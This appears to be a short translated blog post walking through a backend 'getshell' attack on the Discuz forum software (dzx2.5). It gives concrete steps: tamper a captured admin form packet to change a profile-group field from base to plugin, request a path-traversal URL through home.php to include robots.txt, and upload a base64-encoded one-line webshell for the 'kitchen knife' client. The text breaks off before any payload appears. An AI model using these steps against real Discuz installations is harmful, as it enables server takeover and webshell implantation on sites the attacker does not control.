Example Analysis of the latest background getshell of discuz

This article mainly introduces the example analysis of discuz's latest background getshell, which has a certain reference value. Interested friends can refer to it. I hope you will gain a lot after reading this article. Let's take a look at it.

User-user column-column grouping-submit-grab packet (I made a mistake at this step, be sure to submit, otherwise the packet captured is not the same)

1Content-Disposition: form-data; name= "settingnew [profilegroupnew] [base] [available]"

Change to

1Content-Disposition: form-data; name= "settingnew [profilegroupnew] [plugin] [available]"

Visit

1/home.php?mod=spacecp&id=../../robots.txt57

Local test dzx2.5 grab package to change base to plugin in the following figure

In the test environment, the upload sentence * * failed to connect with the kitchen knife, and finally changed to base64 encryption.

/ / content before encryption